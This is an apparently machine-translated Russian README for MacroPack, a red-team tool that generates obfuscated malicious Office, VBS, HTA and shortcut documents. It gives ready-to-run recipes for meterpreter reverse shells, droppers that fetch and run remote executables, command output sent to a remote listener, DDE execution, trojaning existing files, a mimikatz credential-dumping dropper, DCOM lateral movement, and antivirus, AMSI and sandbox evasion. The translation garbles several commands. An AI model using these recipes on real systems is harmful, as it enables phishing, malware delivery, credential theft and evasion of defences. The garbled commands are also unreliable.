MacroPack Community — это инструмент, используемый для автоматизации обфускации и создания ретро-форматов, таких как документы MS Office или формат, подобный VBS. Он также поддерживает различные форматы ярлыков. Этот инструмент можно использовать для красной команды, пентестов, демонстраций и оценок социальной инженерии. MacroPack упростит обход решений по защите от вредоносных программ и автоматизирует процесс от источника VB до окончательного документа Office или другого типа полезной нагрузки. Использовать очень просто:
Никакой настройки не требуется
Все можно сделать с помощью одной строки кода
Генерация большинства форматов Office и форматов на основе VBS.
Полезные нагрузки, предназначенные для сложных атак социальной инженерии (электронная почта, USB-ключ и т. д.)
Инструмент совместим с полезными нагрузками, созданными популярными инструментами пентеста (Metasploit, Empire, ...). Его также легко комбинировать с другими инструментами, поскольку можно читать входные данные со стандартного ввода и тихо выводить их в другой инструмент. Этот инструмент написан на Python3 и работает как на платформах Linux, так и на Windows.
Примечание. Для автоматического создания документов Office или функций троянов требуется платформа Windows с установленными соответствующими приложениями MS Office.
Инструмент будет использовать различные методы запутывания, причем все автоматически. Функции обфускации совместимы со всеми форматами на основе VBA и VBS, которые могут быть созданы MacroPack.
Базовая обфускация (опция -o) включает в себя:
Переименование функций
Переименование переменных
Удаление пробелов
Удаление комментариев
Кодирование строк
MacroPack может генерировать несколько типов документов MS Office и форматов сценариев. Формат будет автоматически угадан в зависимости от заданного расширения файла. Генерация файла осуществляется с помощью опции --generate или -G.
Pro-версия MacroPack также позволяет троянить существующие файлы Office с опцией --trojan или -T.
Поддерживаемые форматы Ms Office:
MS Word (.doc, .docm, .docx, .dotm)
MS Excel (.xls, .xlsm, .xslx, .xltm)
MS PowerPoint (.pptm, .potm)
MS Access (.accdb, .mdb)
MS Visio (.vsd,.vsdm)
Проект MS (.mpp)
Поддерживаемые форматы сценариев (txt):
Текстовый файл VBA (.vba)
Текстовый файл VBS (.vbs).
Файл сценария Windows (.wsf)
Скриптлеты компонентов сценариев Windows (.wsc, .sct)
HTML-приложения (.hta)
Таблица стилей XSLT (.xsl) (Да, MS XSLT содержит сценарии ^^)
Поддерживаемые форматы ярлыков/оболочки:
Ссылка оболочки (.lnk)
Командный файл проводника (.scf)
Ярлык URL-адреса (.url)
Ярлыки Groove (.glk)
Ярлыки настроек (.settingcontent-ms)
Библиотека MS (.library-ms)
Информация об установке (.inf)
Веб-запрос Excel (.iqy)
Проект Visual Studio (.csproj)
Командная строка (.cmd)
Символическая ссылка (.slk) Только версия Pro
Сжатая справка в формате HTML (.chm), только версия Pro
Обратите внимание, что все форматы сценариев и ярлыков (кроме LNK) также могут быть созданы в версии MacroPack для Linux.
Это программное обеспечение должно использоваться только в контексте участия Red Team, тестирования на проникновение, моделирования фишинга, исследования безопасности или других форм оценки безопасности с законного и формального разрешения владельцев системы. Использование этого программного обеспечения для атаки целей без предварительного согласия запрещено и незаконно. Пользователь несет ответственность за соблюдение всех применимых местных, государственных, федеральных и национальных законов.
Мы не несем никакой ответственности и не несем ответственности за любое неправильное использование или ущерб, который может быть вызван использованием этого программного обеспечения.
Не все возможности и опции MacroPack доступны в сообществе MacroPack. В Интернете доступна только версия сообщества. Возможности профессиональной версии действительно «вооружают» процесс, поэтому доступ к ним ограничен профессионалами.
Режим Pro включает в себя такие функции, как:
Расширенный обход защиты от вредоносных программ
Расширенные методы внедрения шеллкода
Обфускация командной строки (Dosfuscation)
Обход ASR и AMSI
Самораспаковка полезных данных VBA/VBS
Троян существующих документов MS Office, файлов справки и проектов Visual Studio.
Встроить ложную полезную нагрузку
Боковое перемещение с использованием объектов DCOM
Анти реверс-инжиниринг
Обнаружение песочницы
Поддержка большего количества форматов, таких как Excel 4.0 SYLK и скомпилированные файлы справки.
Запуск расширенной полезной нагрузки VB из необычных форматов
Шаблоны с оружием и дополнительные шаблоны (например, EMPIRE, AUTOSHELLCODE)
Макросы Excel 4.0 (XLM)
И многое другое…
Некоторые короткие демонстрационные видеоролики доступны на канале BallisKit Vimeo.
Важно: если вы хотите связаться со мной по поводу MacroPack pro, используйте мой адрес электронной почты emeric.nasi [at] sevagas.com. Я не буду отвечать на анонимные запросы по поводу версии Pro, а буду отвечать только на профессиональные электронные письма.
Загрузите последнюю версию двоичного файла с https://github.com/sevagas/macro_pack/releases/.
Загрузите двоичный файл на ПК с установленным подлинным Microsoft Office.
Откройте консоль, перейдите в бинарный каталог и вызовите бинарный файл, вот и все!
macro_pack.exe --help
Для сборки MacroPack вам необходимо находиться на компьютере под управлением Windows. Загрузите и установите зависимости:
git clone https://github.com/sevagas/macro_pack.gitcd macro_pack pip3 install -r требования.txt
Инструмент написан на Python 3, поэтому просто начните с установки Python3. бывший:
python3 macro_pack.py --help# orpython macro_pack.py --help # если python3 установлен по умолчанию
Если вы хотите создать автономный exe-файл с помощью pyinstaller:
Установите pyinstaller: pip install pyinstaller
Дважды щелкните сценарий «build.bat».
Полученный файл macro_pack.exe будет находиться в каталоге bin .
Список всех поддерживаемых форматов файлов
macro_pack.exe --listformats
Список всех доступных шаблонов
macro_pack.exe --listtemplates
Запутайте файл vba, созданный msfvenom, и поместите результат в новый файл VBA.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -Gmeterobf.vba
Обфусцируйте файл VBA Empire stager и создайте документ MS Word:
macro_pack.exe -f Empire.vba -o -G myDoc.docm
Создайте файл MS Excel, содержащий запутанный дроппер (загрузите payload.exe и сохраните как drop.exe).
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Создайте документ Word 97, содержащий запутанную полезную нагрузку обратного счетчика VBA в общей папке.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G УДАЛЕННЫЙ-PCSharemeter.doc
Загрузите и запустите программу Empire Launcher без powershell.exe, используя шаблон DROPPER_PS.
# 1 Создайте файл, содержащий программу запуска Empire. # 2 Сделайте этот файл доступным на веб-сервере, например, с помощью netcat: { echo -ne "HTTP/1.0 200 OKrnrn"; кот Empire_stager.cmd; } | nc -l -p 6666 -q1# 3 Используйте macro_pack для создания полезных данных DROPPER_PS в Excel fileecho http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 При выполнении на целевом объекте макрос загрузит PowerShdll, запустит его с помощью rundll32, а затем загрузит и выполнит stager.
Запуск Calc.exe посредством атаки динамического обмена данными (DDE)
эхо Calc.exe | macro_pack.exe --dde -G Calc.xslx
Загрузите и выполните файл через PowerShell, используя атаку динамического обмена данными (DDE).
# 1 Измените URL-адрес целевого файла в resourcescommunityps_dl_exec.cmd# 2 Встройте команду выполнения загрузки в documentmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Запустите команду (notepad.exe) через файл веб-запроса Excel и DDE.
# 1 Создать файл dde.dat со следующим содержанием=cmd|' /c notepad.exe'!A1# 2 Хост dde.dat на веб-сервере, например. с помощью macro_pack -l# 3 Создать файл .iqymacro_pack.exe -G dde.iqy
Создайте запутанный файл обратного TCP VBS счетчика метров и запустите его.
# 1 Создать запутанный VBS на основе шаблонаmeterpreter, а также файла ресурса Metasploit fileecho| macro_pack.exe -t METERPRETER -o -Gmeter.vbs # 2 На машине злоумышленника Настройка прослушивателя Meterpreter msfconsole -rmeterpreter.rc # 3 запустить файл VBS с помощью wscript (запустить 32-битный wscript, поскольку полезная нагрузкаmeterpreter 32-битная)%windir%SysWoW64wscriptmeter.vbs
Создайте запутанный файл HTA, который выполняет «systeminfo» и возвращает результат другому макросу, прослушивающему 192.168.0.5.
# 1 Создайте файл HTA с помощью шаблона REMOTE_CMD http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 На 192.168.0.5 откройте макрос_pack в качестве прослушивателя http. макро_пакет.exe -l . --port=1234# 3 запустить hta-файл с помощью mshta mshta.exe полный/путь/к/info.hta
Создайте ярлык URL-адреса, который запускает локальный файл HTA при нажатии на него.
echo "file://C:UsersusernameDesktophello.hta" | macro_pack.exe -G yop.url
Создать ярлык lnk, который выполняет cmd, запускающий Calc.exe со значком Calc.exe.
echo '"c:WindowsSystem32cmd.exe /c Calc.exe" "calc.exe"' | macro_pack.exe -G Calc.lnk
Троянить существующий общий файл «report.xlsm» с помощью дроппера. Используйте функции защиты от AV и обратного хода.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
Создайте файл Word, содержащий полезную нагрузку VBA x64 с самокодированием VBA (обойдет большую часть AV). Keep-alive необходим, потому что нам нуженmeterpreter, чтобы оставаться в живых до миграции.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
Троян файла PowerPoint с обратным необработанным шеллкодом. Макрос запутан и искажен для обхода AMSI и большинства антивирусов.
эхо-маяк.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
Выполните макрос на удаленном компьютере с помощью DCOM.
REM Шаг 1. Убедитесь, что у вас достаточно прав. Используйте 192.168.0.8c$ /user:domainusername парольREM Шаг 2. Создайте документ, например здесь,meterpreter обратный TCP Excel fileecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -Gmeter.xlsmREM Шаг 3. Скопируйте документ куда-нибудь на удаленном компьютере. 192.168.0.8c$usersusernamemeter.xlsm"REM Шаги со 2 по 4 за один шаг: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
Шаблоны можно вызывать с помощью -t, --template=TEMPLATE_NAME в сочетании с другими параметрами.
Вот все доступные шаблоны.
Просто распечатайте приветственное сообщение и информацию о макросе.
Укажите этому шаблону имя или адрес электронной почты автора:
-> Пример: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Выполните команду.
Дайте этому шаблону командную строку
-> Пример (извлечение файла Calc.exe из файла xslt): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Выполните командную строку и отправьте результаты на удаленный HTTP-сервер.
Укажите этому шаблону URL-адрес сервера и команду для запуска:
-> Пример: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# Перехват результата с помощью любого веб-сервера или netcatnc -l -p 7777
Загрузите и запустите файл.
Укажите этому шаблону URL-адрес файла и путь к целевому файлу.
-> Пример: echo
Загрузите и выполните скрипт Powershell, используя rundll32 (чтобы обойти заблокированный powershell.exe).
Примечание. Эта полезная нагрузка загрузит PowerShdll с Github.
Укажите этому шаблону URL-адрес сценария PowerShell, который вы хотите запустить:
-> Пример: echo "
Загрузите DLL с другим расширением и запустите ее с помощью Office VBA.
-> Пример: загрузите DLL-библиотеку Meterpreter с помощью Office:
REM Создатьmeterpreter dll payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -ometer.dllREM Сделать его доступным на веб-сервере, например, с помощью netcat на порту 6666 { echo -ne "HTTP/1.0 200 OKrnrn" ; котmeter.dll; } | nc -l -p 6666 -q1REM Создайте файл OFfice, который будет загружать DLL и вызывать его REM. URL-адрес DLL — http://192.168.0.5:6666/normal.html, и он будет сохранен как .asd fileecho «http://192.168». .0.5:6666/normal.html» Выполнить | macro_pack.exe -t DROPPER_DLL -o -Gmeterdll.xls
Шаблон обратного TCP-шаблона Meterpreter с использованием MacroMeter от Cn33liz.
Этот шаблон представляет собой CSharpmeterpreter Stager, созданный Cn33liz и встроенный в VBA с помощью DotNetToJScript от Джеймса Форшоу.
Укажите этому шаблону IP и ПОРТ прослушиваемой mfsconsole:
-> Пример: echo
Этот шаблон также генерирует файлmeterpreter.rc для создания обработчика Metasploit.
-> Пример: msfconsole -r meterpreter.rc
Отбросьте и выполните внедренный файл.
В сочетании с опцией --embed он удалит и запустит встроенный файл со случайным именем в папке TEMP.
-> Пример: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
В сочетании с опцией --embed он удалит и вызовет функцию в данной DLL.
Дайте этому шаблону имя и параметры функции для вызова в DLL.
-> Пример 1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Пример 2: echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Различные функции были протестированы на локально установленных решениях для защиты от вредоносных программ, а также на онлайн-сервисах. Я провел несколько тестов с несколькими видами полезных нагрузок и функциями MacroPack. Большую часть статических помех антивируса можно обойти с помощью простой опции «запутать». Однако, как и большинство бесплатных инструментов, полезные данные обычно фиксируются с помощью поведенческого анализа, такого как AMSI. Функции, доступные в режиме MacroPack pro, обычно допускают полный обход AV, включая AMSI.
Предупреждение: не отправляйте свои образцы онлайн-сканерам (например, VirusTotal). Это лучший способ взломать ваш скрытый макрос. Я также советую вам не отправлять информацию на сайты, не предоставляющие отчетов, такие как NoDistribute. Вы не можете быть уверены, что эти сайты сделают с предоставленными вами данными. Если у вас возникла проблема с обнаружением AV-файлов macro_pack, вы можете написать нам за советом, отправить сообщение о проблеме или запрос на включение.
Сообщения в блоге о MacroPack Pro:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (полезные нагрузки Excel 4.0 в MacroPack Pro)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (внедрение XLM в MacroPack Pro)
Сообщения в блогах о взломе с помощью MS Office, VBS и других ретро-вещей безопасности:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (напишите полную версию VBA RAT, включая способы обхода защиты VBOM)
http://blog.sevagas.com/?Hacking-around-HTA-files (запускайте код hta в файлах, отличных от hta, и в hta-полиглотах)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (об атаках с динамическим обменом данными)
https://enigma0x3.net/2017/09/11/ Lateral-movement-using-excel-application-and-dcom/
Другие полезные ссылки:
https://github.com/p3nt4/PowerShdll (запускайте PowerShell только с DLL)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Запустите сценарий PowerShell с реализацией PowerShdll VBA)
https://github.com/EmpireProject/Империя
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
Пишите мне в моем аккаунте в Твиттере @EmericNasi.
Электронная почта:
emeric.nasi[на]sevagas.com
ena.sevagas[на]protonmail.com
Важно: если вы хотите связаться со мной по поводу MacroPack pro, используйте мой адрес электронной почты sevagas.com. Также обратите внимание, что я не буду отвечать на анонимные запросы по версии Pro, а только на профессиональные электронные письма.
Лицензия Apache 2.0
Copyright 2017,2018,2019,2020,2021,2022 Эмерик «Сио» Наси (blog.sevagas.com)